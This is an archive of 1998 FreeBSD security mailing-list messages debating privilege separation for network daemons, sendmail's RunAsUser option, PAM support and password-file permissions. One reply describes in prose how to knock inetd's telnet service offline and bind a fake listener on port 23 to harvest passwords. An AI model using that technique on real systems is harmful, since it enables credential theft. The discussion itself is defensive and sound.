complicated pages. -- Where am I, and what am I doing in this handbasket? Wes Peters +1.801.915.2061 Softweyr LLC wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 07:05:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA17317 for freebsd-security-outgoing; Sat, 21 Nov 1998 07:05:23 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA17266 for ; Sat, 21 Nov 1998 07:04:24 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id HAA19395; Sat, 21 Nov 1998 07:02:13 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id HAA13867; Sat, 21 Nov 1998 07:02:12 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id HAA29212; Sat, 21 Nov 1998 07:01:51 -0800 (PST) From: Don Lewis Message-Id: <199811211501.HAA29212@salsa.gv.tsc.tdk.com> Date: Sat, 21 Nov 1998 07:01:51 -0800 In-Reply-To: Matthew Dillon "Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4" (Nov 16, 9:27pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Matthew Dillon , William McVey Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 Cc: Warner Losh , Andre Albsmeier , freebsd-security@FreeBSD.ORG, jkh@zippy.cdrom.com (Jordan K. Hubbard), dima@best.net (Dima Ruban) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Nov 16, 9:27pm, Matthew Dillon wrote: } Subject: Re: Would this make FreeBSD more secure? & sendmail changes in Op } :> Use TCAPF_LOWPORT to fix xntpd, lpd, bind, sendmail, and possibly } :> others. } : } :I'm not convinced that sendmail and lpd require TCAPF_LOWPORT. I think } :inetd and the 'wait' attribute can do what they need, but I'm all for } :adding the solution as defined above. It probably would be usefull for } :bind (which as a single process needs to bind to udp/53 as well as tcp/53). } } I don't think they need it either, as long as sendmail and lpd are } started as root and setuid() themselves after binding the port I'd be } happy. There are two complications with sendmail that I haven't seen mentioned. One is that sendmail will close its listening socket on port 25 when it decides that the system load is too high, and reopen the socket when the load has dropped to an acceptable level. The second is that it needs to read more 400 .forward files. If you use the RunAsUser sendmail configuration feature, you get most of the benefits of an immediate setuid() call. This feature causes sendmail to do the setuid() after it does accept() and fork() and before it interacts with the remote client. I use this feature on machines that don't do local mail delivery. As a matter of fact I've installed two copies sendmail with different privileges on some machines. One copy is installed as /usr/sbin/sendmail, /usr/bin/hoststat and /usr/bin/mailq, and it is installed setuid sendmail. The other copy is installed as /usr/bin/newaliases, /usr/sbin/smtpd and /usr/sbin/purgestat and it is installed mode 555 root.bin. I invoke smtpd as root to run as the listener on port 25, and it is configured with "RunAsUser=sendmail". --- Truck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 16:01:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA04626 for freebsd-security-outgoing; Sat, 21 Nov 1998 16:01:50 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from thelab.hub.org (nat0070.mpoweredpc.net [142.177.188.70]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA04600 for ; Sat, 21 Nov 1998 16:01:48 -0800 (PST) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.1/8.9.1) with ESMTP id TAA08932; Sat, 21 Nov 1998 19:59:49 -0400 (AST) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Sat, 21 Nov 1998 19:59:49 -0400 (AST) From: The Hermit Hacker To: Mark Murray cc: Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-Reply-To: <199811190636.IAA48857@greenpeace.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 19 Nov 1998, Mark Murray wrote: > Keith Stevenson wrote: > > On Thu, Nov 19, 1998 at 12:09:14AM +0300, Vadim Kolontsov wrote: > > > > > > I wonder how many people would like to see PAM support in FreeBSD?.. > > > > ABSOLUTELY NOT! > > Er, too late. > > > I suffered through PAM on a RedHat Linux box. The combination of > > flaky Linuxisms, PAM, and the SYSV-style init drove me to FreeBSD. > > I've been very VERY happy ever since. Please don't visit that > > nightmare on us here. At least don't integrate it with the base > > install. Something like the way we do kerberos would be nice for > > those who would want it and let those like me who have problems with > > it avoid it. > > John Polstra has done a pretty good job of cleaning it up. There is a > lot of new code in there, and jdp is not daft. Woo hoo!!! Now my FreeBSD boxes can speak PAM like my Solaris boxes... Great work John...!! Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 16:06:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA06357 for freebsd-security-outgoing; Sat, 21 Nov 1998 16:06:08 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from thelab.hub.org (nat0070.mpoweredpc.net [142.177.188.70]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA06352 for ; Sat, 21 Nov 1998 16:06:04 -0800 (PST) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.1/8.9.1) with ESMTP id UAA08946; Sat, 21 Nov 1998 20:05:23 -0400 (AST) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Sat, 21 Nov 1998 20:05:23 -0400 (AST) From: The Hermit Hacker To: Dima Ruban cc: freebsd-security@FreeBSD.ORG Subject: Re: PAM on FreeBSD (was Would this make FreeBSD more secure?) In-Reply-To: <199811191754.JAA11958@burka.rdy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 19 Nov 1998, Dima Ruban wrote: > Jordan K. Hubbard writes: > > > I wonder whether it's too late to change /usr/include/security to > > > something else like /usr/include/pam > > > > See the commit message. John doesn't like it either, but there > > are good reasons for it nonetheless. Good enough for him to > > exercise an option he himself found icky, anyway. > > Right. His argument was that it would be not the best idea in the world > to hack each and every PAM module that we adopt. > To me - I'd rather ifdef all this stuff than have /usr/include/security > dedicated to PAM. I don't think we should repeat mistakes on some other > operating system. Especially since you've mentioned that we're not taking > modules from Linux (or at least not so many of them). Personally, I kinda like the fact that FreeBSD has finally joined *both* Solaris and Linux in supporting PAM. I realize that for most out there, its a Linux vs FreeBSD sort of thing, but, if I remember my research properly, PAM was a Sun-ism first, that Linux flew with, and just by finally bringing it in, we open ourselves up to a massive amount of new authentication mechanism... Of key interest to me is NDS/Radiusd authentication, as it is what we use on Campus/work...now I can take what i've done with Solaris for authentication and bring my FreeBSD machines up to speed with it :) Thanks loads John...work *long* overdue... Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 18:02:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15582 for freebsd-security-outgoing; Sat, 21 Nov 1998 18:02:04 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from banshee.cs.uow.edu.au (banshee.cs.uow.edu.au [130.130.188.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA15550 for ; Sat, 21 Nov 1998 18:02:00 -0800 (PST) (envelope-from ncb05@banshee.cs.uow.edu.au) Received: (from ncb05@localhost) by banshee.cs.uow.edu.au (8.9.1a/8.9.1) id NAA28116; Sun, 22 Nov 1998 13:00:32 +1100 (EST) Date: Sun, 22 Nov 1998 13:00:32 +1100 (EST) From: Nicholas Charles Brawn X-Sender: ncb05@banshee.cs.uow.edu.au To: Don Lewis cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 In-Reply-To: <199811211501.HAA29212@salsa.gv.tsc.tdk.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 21 Nov 1998, Don Lewis wrote: : On Nov 16, 9:27pm, Matthew Dillon wrote: : } Subject: Re: Would this make FreeBSD more secure? & sendmail changes in Op : : } :> Use TCAPF_LOWPORT to fix xntpd, lpd, bind, sendmail, and possibly : } :> others. : } : : } :I'm not convinced that sendmail and lpd require TCAPF_LOWPORT. I think : } :inetd and the 'wait' attribute can do what they need, but I'm all for : } :adding the solution as defined above. It probably would be usefull for : } :bind (which as a single process needs to bind to udp/53 as well as tcp/53). : } : } I don't think they need it either, as long as sendmail and lpd are : } started as root and setuid() themselves after binding the port I'd be : } happy. : : There are two complications with sendmail that I haven't seen mentioned. : One is that sendmail will close its listening socket on port 25 when it : decides that the system load is too high, and reopen the socket when : the load has dropped to an acceptable level. The second is that it : needs to read more 400 .forward files. : : If you use the RunAsUser sendmail configuration feature, you get most : of the benefits of an immediate setuid() call. This feature causes : sendmail to do the setuid() after it does accept() and fork() and : before it interacts with the remote client. I use this feature on : machines that don't do local mail delivery. : : As a matter of fact I've installed two copies sendmail with different : privileges on some machines. One copy is installed as /usr/sbin/sendmail, : /usr/bin/hoststat and /usr/bin/mailq, and it is installed setuid sendmail. : The other copy is installed as /usr/bin/newaliases, /usr/sbin/smtpd and : /usr/sbin/purgestat and it is installed mode 555 root.bin. I invoke smtpd : as root to run as the listener on port 25, and it is configured with : "RunAsUser=sendmail". : : --- Truck : : To Unsubscribe: send mail to majordomo@FreeBSD.org : with "unsubscribe freebsd-security" in the body of the message : -- Email: ncb05@uow.edu.au - http://rabble.uow.edu.au/~nick Key fingerprint = DE 30 33 D3 16 91 C8 8D A7 F8 70 03 B7 77 1A 2A To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 18:02:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15604 for freebsd-security-outgoing; Sat, 21 Nov 1998 18:02:19 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from banshee.cs.uow.edu.au (banshee.cs.uow.edu.au [130.130.188.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA15599 for ; Sat, 21 Nov 1998 18:02:15 -0800 (PST) (envelope-from ncb05@banshee.cs.uow.edu.au) Received: (from ncb05@localhost) by banshee.cs.uow.edu.au (8.9.1a/8.9.1) id NAA28124; Sun, 22 Nov 1998 13:01:41 +1100 (EST) Date: Sun, 22 Nov 1998 13:01:41 +1100 (EST) From: Nicholas Charles Brawn X-Sender: ncb05@banshee.cs.uow.edu.au To: freebsd-security@FreeBSD.ORG Subject: ignore last message Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I hit ctrl-x instead of ctrl-c, apologies. Nick -- Email: ncb05@uow.edu.au - http://rabble.uow.edu.au/~nick Key fingerprint = DE 30 33 D3 16 91 C8 8D A7 F8 70 03 B7 77 1A 2A To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 21:24:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA00847 for freebsd-security-outgoing; Sat, 21 Nov 1998 21:24:31 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA00842 for ; Sat, 21 Nov 1998 21:24:29 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id VAA24822; Sat, 21 Nov 1998 21:23:51 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id VAA25634; Sat, 21 Nov 1998 21:23:50 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id VAA00366; Sat, 21 Nov 1998 21:23:44 -0800 (PST) From: Don Lewis Message-Id: <199811220523.VAA00366@salsa.gv.tsc.tdk.com> Date: Sat, 21 Nov 1998 21:23:43 -0800 In-Reply-To: Marc Slemko "Re: Would this make FreeBSD more secure?" (Nov 17, 9:31am) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Marc Slemko , Adam Shostack Subject: Re: Would this make FreeBSD more secure? Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Nov 17, 9:31am, Marc Slemko wrote: } Subject: Re: Would this make FreeBSD more secure? } Say, for example, you have a MX record pointing to a server that does have } privileged ports. That means that, even if the mail server does crash or } stop listening on the port, any old user can't just bind to the port and } steal mail. Even better would be to quickly make enough connections to tcp port 23 (telnet) so that inetd decides this service is looping and shuts it down. Then you can bind a socket to port 23 and harvest user names and passwords. --- Truck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 21:57:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA04144 for freebsd-security-outgoing; Sat, 21 Nov 1998 21:57:12 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA04139 for ; Sat, 21 Nov 1998 21:57:10 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id VAA24973; Sat, 21 Nov 1998 21:56:32 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id VAA26067; Sat, 21 Nov 1998 21:56:31 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id VAA00404; Sat, 21 Nov 1998 21:56:29 -0800 (PST) From: Don Lewis Message-Id: <199811220556.VAA00404@salsa.gv.tsc.tdk.com> Date: Sat, 21 Nov 1998 21:56:29 -0800 In-Reply-To: Bill Woodford "Re: Would this make FreeBSD more secure?" (Nov 17, 3:10pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Bill Woodford , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Nov 17, 3:10pm, Bill Woodford wrote: } Subject: Re: Would this make FreeBSD more secure? } } On Sun, 15 Nov 1998, Andre Albsmeier wrote: } | For example: } | } | root@voyager:~>ll /etc/spwd.db /etc/master.passwd } | -rw-r----- 1 root pw - 828 Nov 15 12:43 /etc/master.passwd } | -rw-r----- 1 root pw - 40960 Nov 15 12:43 /etc/spwd.db One caution: if you NFS export /etc to any untrusted systems (even read-only), they will now be able to read your password database. With 0600 root permissions, this was not possible because of the root -> nobody translation that NFS does by default. --- Truck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Nov 21 22:06:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA04862 for freebsd-security-outgoing; Sat, 21 Nov 1998 22:06:55 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA04857; Sat, 21 Nov 1998 22:06:54 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id WAA25012; Sat, 21 Nov 1998 22:06:14 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id WAA26207; Sat, 21 Nov 1998 22:06:13 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id WAA00417; Sat, 21 Nov 1998 22:06:11 -0800 (PST) From: Don Lewis Message-Id: <199811220606.WAA00417@salsa.gv.tsc.tdk.com> Date: Sat, 21 Nov 1998 22:06:10 -0800 In-Reply-To: Robert Watson "Re: Would this make FreeBSD more secure?" (Nov 17, 5:02pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Robert Watson , Mikael Karpberg Subject: Re: Would this make FreeBSD more secure? Cc: William McVey , hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Nov 17, 5:02pm, Robert Watson wrote: } Subject: Re: Would this make FreeBSD more secure? } It might be nice to just have a file system socket any process can bind to } that mediates access to the authentication system. On the one side of the } socket is any client attempting to authenticate a user (possibly using PAM } as the API, and then some record based protocol over the socket), and on } the other side is Mr Auth Server that listens on the socket, accepts } connections, and is a place where throttling of attempts could be } performed. Similarly, it could take advantage of the SCM_AUTH (or } whatever) uid/gid passing to authenticate the processes on the other side. I think this is the best solution. Unless the process is setuid root (su), if the auth server sees that billybob is trying to validate a password, then the auth server should only validate billybob's password. This prevents billybob from trying to use the auth server to crack passwords, but it allows billybob to install and use his own private screen or terminal locker. --- Truck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message